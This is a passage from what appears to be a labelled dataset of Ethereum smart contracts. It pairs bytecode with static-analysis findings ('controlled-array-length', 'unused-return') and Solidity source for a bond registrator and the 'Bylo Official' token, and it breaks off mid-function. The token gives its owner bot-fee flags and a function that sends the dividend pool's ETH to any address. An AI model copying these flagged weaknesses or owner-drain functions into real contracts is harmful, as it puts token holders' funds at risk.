083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b0316331461149b5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114a4816119bd565b50565b6001600160a01b0383166114ef57604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d826024913960400191505060405180910390fd5b6001600160a01b03821661153757604051600160e51b62461bcd028152600401808060200182810382526022815260200180611cfa6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117b8576001600160a01b03821660009081526005602052604090208054429190839081106115e357fe5b906000526020600020906002020160000154116117b0576001600160a01b03821660009081526005602052604090208054611623919083908110610ac457fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061167757fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116c257fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611785576001600160a01b03821660009081526005602052604090208054600019810190811061172457fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061176257fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117ae906000198301611bad565b505b60010161159c565b5050565b60006117c9848484611a77565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461180491869161071d908663ffffffff61195016565b5060019392505050565b6000828201838110156109d45760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118ce57604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d3c6021913960400191505060405180910390fd5b6002546118e1908263ffffffff61195016565b6002556001600160a01b03821660009081526020819052604090205461190d908263ffffffff61195016565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d1c833981519152929081900390910190a35050565b6000828211156119aa5760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105d5338484611a77565b6001600160a01b038116611a1b5760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611abf57604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d5d6025913960400191505060405180910390fd5b6001600160a01b038216611b0757604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cd76023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b30908263ffffffff61195016565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b65908263ffffffff61180e16565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d1c83398151915292918290030190a3505050565b815481835581811115610c8457600083815260209020610c84916105e29160029182028101918502015b80821115611bf15760008082556001820155600201611bd7565b5090565b6001600160a01b038216611c535760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c66908263ffffffff61180e16565b6002556001600160a01b038216600090815260208190526040902054611c92908263ffffffff61180e16565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d1c8339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a7230582007392e2581fe0f28e3e9fa377f143ea562c3c8b7d1d7c8169d32df1d6a8d99f80029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,017
0xb20D7dF44B1D0bf85E28fD06485Df6551cfB8F4B
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.1; pragma experimental ABIEncoderV2; // File: contracts/BondToken_and_GDOTC/util/TransferETHInterface.sol interface TransferETHInterface { receive() external payable; event LogTransferETH(address indexed from, address indexed to, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/BondToken_and_GDOTC/bondToken/BondTokenInterface.sol interface BondTokenInterface is IERC20 { event LogExpire(uint128 rateNumerator, uint128 rateDenominator, bool firstTime); function mint(address account, uint256 amount) external returns (bool success); function expire(uint128 rateNumerator, uint128 rateDenominator) external returns (bool firstTime); function simpleBurn(address account, uint256 amount) external returns (bool success); function burn(uint256 amount) external returns (bool success); function burnAll() external returns (uint256 amount); function getRate() external view returns (uint128 rateNumerator, uint128 rateDenominator); } // File: contracts/BondToken_and_GDOTC/oracle/LatestPriceOracleInterface.sol /** * @dev Interface of the price oracle. */ interface LatestPriceOracleInterface { /** * @dev Returns `true`if oracle is working. */ function isWorking() external returns (bool); /** * @dev Returns the last updated price. Decimals is 8. **/ function latestPrice() external returns (uint256); /** * @dev Returns the timestamp of the last updated price. */ function latestTimestamp() external returns (uint256); } // File: contracts/BondToken_and_GDOTC/oracle/PriceOracleInterface.sol /** * @dev Interface of the price oracle. */ interface PriceOracleInterface is LatestPriceOracleInterface { /** * @dev Returns the latest id. The id start from 1 and increments by 1. */ function latestId() external returns (uint256); /** * @dev Returns the historical price specified by `id`. Decimals is 8. */ function getPrice(uint256 id) external returns (uint256); /** * @dev Returns the timestamp of historical price specified by `id`. */ function getTimestamp(uint256 id) external returns (uint256); } // File: contracts/BondToken_and_GDOTC/bondMaker/BondMakerInterface.sol interface BondMakerInterface { event LogNewBond( bytes32 indexed bondID, address indexed bondTokenAddress, uint256 indexed maturity, bytes32 fnMapID ); event LogNewBondGroup( uint256 indexed bondGroupID, uint256 indexed maturity, uint64 indexed sbtStrikePrice, bytes32[] bondIDs ); event LogIssueNewBonds(uint256 indexed bondGroupID, address indexed issuer, uint256 amount); event LogReverseBondGroupToCollateral( uint256 indexed bondGroupID, address indexed owner, uint256 amount ); event LogExchangeEquivalentBonds( address indexed owner, uint256 indexed inputBondGroupID, uint256 indexed outputBondGroupID, uint256 amount ); event LogLiquidateBond(bytes32 indexed bondID, uint128 rateNumerator, uint128 rateDenominator); function registerNewBond(uint256 maturity, bytes calldata fnMap) external returns ( bytes32 bondID, address bondTokenAddress, bytes32 fnMapID ); function registerNewBondGroup(bytes32[] calldata bondIDList, uint256 maturity) external returns (uint256 bondGroupID); function reverseBondGroupToCollateral(uint256 bondGroupID, uint256 amount) external returns (bool success); function exchangeEquivalentBonds( uint256 inputBondGroupID, uint256 outputBondGroupID, uint256 amount, bytes32[] calldata exceptionBonds ) external returns (bool); function liquidateBond(uint256 bondGroupID, uint256 oracleHintID) external returns (uint256 totalPayment); function collateralAddress() external view returns (address); function oracleAddress() external view returns (PriceOracleInterface); function feeTaker() external view returns (address); function decimalsOfBond() external view returns (uint8); function decimalsOfOraclePrice() external view returns (uint8); function maturityScale() external view returns (uint256); function nextBondGroupID() external view returns (uint256); function getBond(bytes32 bondID) external view returns ( address bondAddress, uint256 maturity, uint64 solidStrikePrice, bytes32 fnMapID ); function getFnMap(bytes32 fnMapID) external view returns (bytes memory fnMap); function getBondGroup(uint256 bondGroupID) external view returns (bytes32[] memory bondIDs, uint256 maturity); function generateFnMapID(bytes calldata fnMap) external view returns (bytes32 fnMapID); function generateBondID(uint256 maturity, bytes calldata fnMap) external view returns (bytes32 bondID); } // File: contracts/Interfaces/BondRegistratorInterface.sol interface BondRegistratorInterface { struct Points { uint64 x1; uint64 y1; uint64 x2; uint64 y2; } function getFnMap(Points[] memory points) external pure returns (bytes memory fnMap); function registerSBT( BondMakerInterface bondMaker, uint64 sbtStrikePrice, uint64 maturity ) external returns (bytes32); function registerBondGroup( BondMakerInterface bondMaker, uint256 callStrikePrice, uint64 sbtStrikePrice, uint64 maturity, bytes32 SBTId ) external returns (uint256 bondGroupId); function registerBond( BondMakerInterface bondMaker, Points[] memory points, uint256 maturity ) external returns (bytes32); } // File: contracts/SimpleAggregator/BondRegistrator.sol contract BondRegistrator is BondRegistratorInterface { function getFnMap(Points[] memory points) public pure override returns (bytes memory) { uint256[] memory polyline = _zipLines(points); return abi.encode(polyline); } function _zipLines(Points[] memory points) internal pure returns (uint256[] memory lines) { lines = new uint256[](points.length); for (uint256 i = 0; i < points.length; i++) { uint256 x1U256 = uint256(points[i].x1) << (64 + 64 + 64); // uint64 uint256 y1U256 = uint256(points[i].y1) << (64 + 64); // uint64 uint256 x2U256 = uint256(points[i].x2) << 64; // uint64 uint256 y2U256 = uint256(points[i].y2); // uint64 uint256 zip = x1U256 | y1U256 | x2U256 | y2U256; lines[i] = zip; } } /** * @notice Create SBT function mapping and register new SBT */ function registerSBT( BondMakerInterface bondMaker, uint64 sbtStrikePrice, uint64 maturity ) public override returns (bytes32) { Points[] memory SBTPoints = new Points[](2); SBTPoints[0] = Points(0, 0, sbtStrikePrice, sbtStrikePrice); SBTPoints[1] = Points(sbtStrikePrice, sbtStrikePrice, sbtStrikePrice * 2, sbtStrikePrice); return registerBond(bondMaker, SBTPoints, maturity); } /** * @notice Create exotic option function mappings and register bonds, then register new bond group * @param SBTId SBT should be already registered and use SBT bond ID */ function registerBondGroup( BondMakerInterface bondMaker, uint256 callStrikePrice, uint64 sbtStrikePrice, uint64 maturity, bytes32 SBTId ) public override returns (uint256 bondGroupId) { bytes32[] memory bondIds = new bytes32[](4); uint64 lev2EndPoint = uint64(callStrikePrice * 2) - sbtStrikePrice; uint64 maxProfitVolShort = uint64((callStrikePrice - sbtStrikePrice) / 2); bondIds[0] = SBTId; { Points[] memory CallPoints = new Points[](2); CallPoints[0] = Points(0, 0, uint64(callStrikePrice), 0); CallPoints[1] = Points( uint64(callStrikePrice), 0, uint64(callStrikePrice * 2), uint64(callStrikePrice) ); bondIds[1] = registerBond(bondMaker, CallPoints, maturity); } { Points[] memory Lev2Points = new Points[](3); Lev2Points[0] = Points(0, 0, sbtStrikePrice, 0); Lev2Points[1] = Points( sbtStrikePrice, 0, lev2EndPoint, uint64(callStrikePrice - sbtStrikePrice) ); Lev2Points[2] = Points( lev2EndPoint, uint64(callStrikePrice - sbtStrikePrice), lev2EndPoint + sbtStrikePrice, uint64(callStrikePrice - sbtStrikePrice) ); bondIds[2] = registerBond(bondMaker, Lev2Points, maturity); } { Points[] memory VolShortPoints = new Points[](4); VolShortPoints[0] = Points(0, 0, sbtStrikePrice, 0); VolShortPoints[1] = Points( sbtStrikePrice, 0, uint64(callStrikePrice), maxProfitVolShort ); VolShortPoints[2] = Points(uint64(callStrikePrice), maxProfitVolShort, lev2EndPoint, 0); VolShortPoints[3] = Points(lev2EndPoint, 0, lev2EndPoint + sbtStrikePrice, 0); bondIds[3] = registerBond(bondMaker, VolShortPoints, maturity); } return bondMaker.registerNewBondGroup(bondIds, uint256(maturity)); } /** * @notice Register bond token if same bond does not exist. If exists, return bondID */ function registerBond( BondMakerInterface bondMaker, Points[] memory points, uint256 maturity ) public override returns (bytes32) { bytes memory fnMap = getFnMap(points); bytes32 bondId = bondMaker.generateBondID(maturity, fnMap); (address bondAddress, , , ) = bondMaker.getBond(bondId); if (bondAddress != address(0)) { return bondId; } bondMaker.registerNewBond(maturity, fnMap); return bondId; } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80635999d15214610051578063818b80321461007a578063a38593881461009a578063b63954ae146100ad575b600080fd5b61006461005f366004610be4565b6100c0565b6040516100719190610e48565b60405180910390f35b61008d610088366004610c6e565b6100f6565b6040516100719190610e3f565b61008d6100a8366004610d1e565b6102b4565b61008d6100bb366004610cc4565b6103c8565b6060806100cc83610959565b9050806040516020016100df9190610dfb565b604051602081830303815290604052915050919050565b60006060610103846100c0565b90506000856001600160a01b0316632770aa6485846040518363ffffffff1660e01b8152600401610135929190610e5b565b60206040518083038186803b15801561014d57600080fd5b505afa158015610161573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101859190610c1e565b90506000866001600160a01b03166326d6c97b836040518263ffffffff1660e01b81526004016101b59190610e3f565b60806040518083038186803b1580156101cd57600080fd5b505afa1580156101e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102059190610b9c565b5091925050506001600160a01b03811615610224575091506102ad9050565b6040516339b4de5560e11b81526001600160a01b03881690637369bcaa906102529088908790600401610e5b565b606060405180830381600087803b15801561026c57600080fd5b505af1158015610280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102a49190610c36565b50929450505050505b9392505050565b60408051600280825260608281019093526000929190816020015b6102d7610a85565b8152602001906001900390816102cf579050509050604051806080016040528060006001600160401b0316815260200160006001600160401b03168152602001856001600160401b03168152602001856001600160401b03168152508160008151811061034057fe5b60200260200101819052506040518060800160405280856001600160401b03168152602001856001600160401b03168152602001856002026001600160401b03168152602001856001600160401b0316815250816001815181106103a057fe5b60200260200101819052506103bf8582856001600160401b03166100f6565b95945050505050565b60408051600480825260a0820190925260009160609190602082016080803683370190505090506002808702869003906000906001600160401b0388168903049050848360008151811061041857fe5b60209081029190910101526040805160028082526060828101909352816020015b610441610a85565b815260200190600190039081610439579050509050604051806080016040528060006001600160401b0316815260200160006001600160401b031681526020018a6001600160401b0316815260200160006001600160401b0316815250816000815181106104ab57fe5b602002602001018190525060405180608001604052808a6001600160401b0316815260200160006001600160401b031681526020018a6002026001600160401b031681526020018a6001600160401b03168152508160018151811061050c57fe5b602002602001018190525061052b8a82896001600160401b03166100f6565b8460018151811061053857fe5b60209081029190910101525060408051600380825260808201909252606091816020015b610564610a85565b81526020019060019003908161055c579050509050604051806080016040528060006001600160401b0316815260200160006001600160401b03168152602001896001600160401b0316815260200160006001600160401b0316815250816000815181106105ce57fe5b60200260200101819052506040518060800160405280896001600160401b0316815260200160006001600160401b03168152602001846001600160401b03168152602001896001600160401b03168b036001600160401b03168152508160018151811061063757fe5b60200260200101819052506040518060800160405280846001600160401b03168152602001896001600160401b03168b036001600160401b031681526020018985016001600160401b03168152602001896001600160401b03168b036001600160401b0316815250816002815181106106ac57fe5b60200260200101819052506106cb8a82896001600160401b03166100f6565b846002815181106106d857fe5b60209081029190910101525060408051600480825260a08201909252606091816020015b610704610a85565b8152602001906001900390816106fc579050509050604051806080016040528060006001600160401b0316815260200160006001600160401b03168152602001896001600160401b0316815260200160006001600160401b03168152508160008151811061076e57fe5b60200260200101819052506040518060800160405280896001600160401b0316815260200160006001600160401b031681526020018a6001600160401b03168152602001836001600160401b0316815250816001815181106107cc57fe5b602002602001018190525060405180608001604052808a6001600160401b03168152602001836001600160401b03168152602001846001600160401b0316815260200160006001600160401b03168152508160028151811061082a57fe5b60200260200101819052506040518060800160405280846001600160401b0316815260200160006001600160401b031681526020018985016001600160401b0316815260200160006001600160401b03168152508160038151811061088b57fe5b60200260200101819052506108aa8a82896001600160401b03166100f6565b846003815181106108b757fe5b60209081029190910101525060405163072ca2af60e51b81526001600160a01b038a169063e59455e0906108fa9086906001600160401b038b1690600401610db3565b602060405180830381600087803b15801561091457600080fd5b505af1158015610928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094c9190610c1e565b9998505050505050505050565b606081516001600160401b038111801561097257600080fd5b5060405190808252806020026020018201604052801561099c578160200160208202803683370190505b50905060005b8251811015610a7f57600060c08483815181106109bb57fe5b6020026020010151600001516001600160401b0316901b9050600060808584815181106109e457fe5b6020026020010151602001516001600160401b0316901b905060006040868581518110610a0d57fe5b6020026020010151604001516001600160401b0316901b90506000868581518110610a3457fe5b6020026020010151606001516001600160401b03169050600081838587171717905080878781518110610a6357fe5b60209081029190910101525050600190930192506109a2915050565b50919050565b60408051608081018252600080825260208201819052918101829052606081019190915290565b600082601f830112610abc578081fd5b81356001600160401b03811115610ad1578182fd5b6020610ae08182840201610e74565b8281529250808301848201608080850287018401881015610b0057600080fd5b60005b85811015610b2757610b158984610b33565b84529284019291810191600101610b03565b50505050505092915050565b600060808284031215610b44578081fd5b610b4e6080610e74565b90508135610b5b81610eb2565b81526020820135610b6b81610eb2565b60208201526040820135610b7e81610eb2565b60408201526060820135610b9181610eb2565b606082015292915050565b60008060008060808587031215610bb1578384fd5b8451610bbc81610e9a565b602086015160408701519195509350610bd481610eb2565b6060959095015193969295505050565b600060208284031215610bf5578081fd5b81356001600160401b03811115610c0a578182fd5b610c1684828501610aac565b949350505050565b600060208284031215610c2f578081fd5b5051919050565b600080600060608486031215610c4a578283fd5b835192506020840151610c5c81610e9a565b80925050604084015190509250925092565b600080600060608486031215610c82578283fd5b8335610c8d81610e9a565b925060208401356001600160401b03811115610ca7578283fd5b610cb386828701610aac565b925050604084013590509250925092565b600080600080600060a08688031215610cdb578081fd5b8535610ce681610e9a565b9450602086013593506040860135610cfd81610eb2565b92506060860135610d0d81610eb2565b949793965091946080013592915050565b600080600060608486031215610d32578283fd5b8335610d3d81610e9a565b92506020840135610d4d81610eb2565b91506040840135610d5d81610eb2565b809150509250925092565b60008151808452815b81811015610d8d57602081850181015186830182015201610d71565b81811115610d9e5782602083870101525b50601f01601f19169290920160200192915050565b604080825283519082018190526000906020906060840190828701845b82811015610dec57815184529284019290840190600101610dd0565b50505092019290925292915050565b6020808252825182820181905260009190848201906040850190845b81811015610e3357835183529284019291840191600101610e17565b50909695505050505050565b90815260200190565b6000602082526102ad6020830184610d68565b600083825260406020830152610c166040830184610d68565b6040518181016001600160401b0381118282101715610e9257600080fd5b604052919050565b6001600160a01b0381168114610eaf57600080fd5b50565b6001600160401b0381168114610eaf57600080fdfea26469706673582212207dc318a75f30490df2ada61aa3f333beb3ff02d662e2339e01de36fad1c8ef6164736f6c63430007010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,018
0xd1d348fe85c65de21b367abc71ede822751348fb
/** *Submitted for verification at Etherscan.io on 2021-10-15 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; /** * Standard SafeMath, stripped down to just add/sub/mul/div */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } /** * BEP20 standard interface. */ interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Allows for contract ownership along with multi-address authorization */ abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } /** * Function modifier to require caller to be contract deployer */ modifier onlyOwner() { require(isOwner(msg.sender), "!Owner"); _; } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { return account == owner; } /** * Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized */ function transferOwnership(address payable adr) public onlyOwner { owner = adr; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IDividendDistributor { function setShare(address shareholder, uint256 amount) external; function deposit() external payable; function claimDividend(address shareholder) external; } contract DividendDistributor is IDividendDistributor { using SafeMath for uint256; address private _token; address private _owner; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } address[] private shareholders; mapping (address => uint256) private shareholderIndexes; mapping (address => Share) public shares; uint256 public totalShares; uint256 public totalDividends; uint256 public totalDistributed; uint256 public dividendsPerShare; uint256 private dividendsPerShareAccuracyFactor = 10 ** 36; modifier onlyToken() { require(msg.sender == _token); _; } modifier onlyOwner() { require(msg.sender == _owner); _; } constructor (address owner) { _token = msg.sender; _owner = owner; } function setShare(address shareholder, uint256 amount) external override onlyToken { if(shares[shareholder].amount > 0){ distributeDividend(shareholder); } if(amount > 0 && shares[shareholder].amount == 0){ addShareholder(shareholder); }else if(amount == 0 && shares[shareholder].amount > 0){ removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); } function deposit() external payable override onlyToken { uint256 amount = msg.value; totalDividends = totalDividends.add(amount); dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)); } function distributeDividend(address shareholder) internal { if(shares[shareholder].amount == 0){ return; } uint256 amount = getUnpaidEarnings(shareholder); if(amount > 0){ totalDistributed = totalDistributed.add(amount); shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount); shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); payable(shareholder).transfer(amount); } } function claimDividend(address shareholder) external override onlyToken { distributeDividend(shareholder); } function getUnpaidEarnings(address shareholder) public view returns (uint256) { if(shares[shareholder].amount == 0){ return 0; } uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; } return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1]; shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder]; shareholders.pop(); } function manualSend(uint256 amount, address holder) external onlyOwner { uint256 contractETHBalance = address(this).balance; payable(holder).transfer(amount > 0 ? amount : contractETHBalance); } } contract ByloOfficial is IBEP20, Auth { using SafeMath for uint256; address private WETH; address private DEAD = 0x000000000000000000000000000000000000dEaD; address private ZERO = 0x0000000000000000000000000000000000000000; string private constant _name = "Bylo Official"; string private constant _symbol = "BYLO"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 10000000000 * (10 ** _decimals); uint256 private _maxTxAmountBuy = _totalSupply; uint256 private _maxTxAmountSell = _totalSupply; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private isFeeExempt; mapping (address => bool) private isTxLimitExempt; mapping (address => bool) private isDividendExempt; mapping (address => bool) private isBot; uint256 private initialBlockLimit = 2; uint256 private reflectionFee = 3; uint256 private teamFee = 4; uint256 private totalFee = 8; uint256 private feeDenominator = 100; address private teamReceiver; IDEXRouter public router; address public pair; uint256 public launchedAt; DividendDistributor private distributor; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 1000; // 5M bool private inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor ( address _owner, address _teamWallet ) Auth(_owner) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = router.WETH(); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; distributor = new DividendDistributor(_owner); isFeeExempt[_owner] = true; isFeeExempt[_teamWallet] = true; isTxLimitExempt[_owner] = true; isTxLimitExempt[DEAD] = true; isTxLimitExempt[_teamWallet] = true; isDividendExempt[pair] = true; isDividendExempt[address(this)] = true; isDividendExempt[DEAD] = true; teamReceiver = _teamWallet; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } checkTxLimit(sender, recipient, amount); if(shouldSwapBack()){ swapBack(); } if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); if(sender != pair && !isDividendExempt[sender]){ try distributor.setShare(sender, _balances[sender]) {} catch {} } if(recipient != pair && !isDividendExempt[recipient]){ try distributor.setShare(recipient, _balances[recipient]) {} catch {} } emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function checkTxLimit(address sender, address recipient, uint256 amount) internal view { sender == pair ? require(amount <= _maxTxAmountBuy || isTxLimitExempt[recipient], "Buy TX Limit Exceeded") : require(amount <= _maxTxAmountSell || isTxLimitExempt[sender], "Sell TX Limit Exceeded"); } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !(isFeeExempt[sender] || isFeeExempt[recipient]); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount; bool bot; // Add all the fees to the contract. In case of Sell, it will be multiplied fees. if (sender != pair) { bot = isBot[sender]; } else { bot = isBot[recipient]; } if (bot || launchedAt + 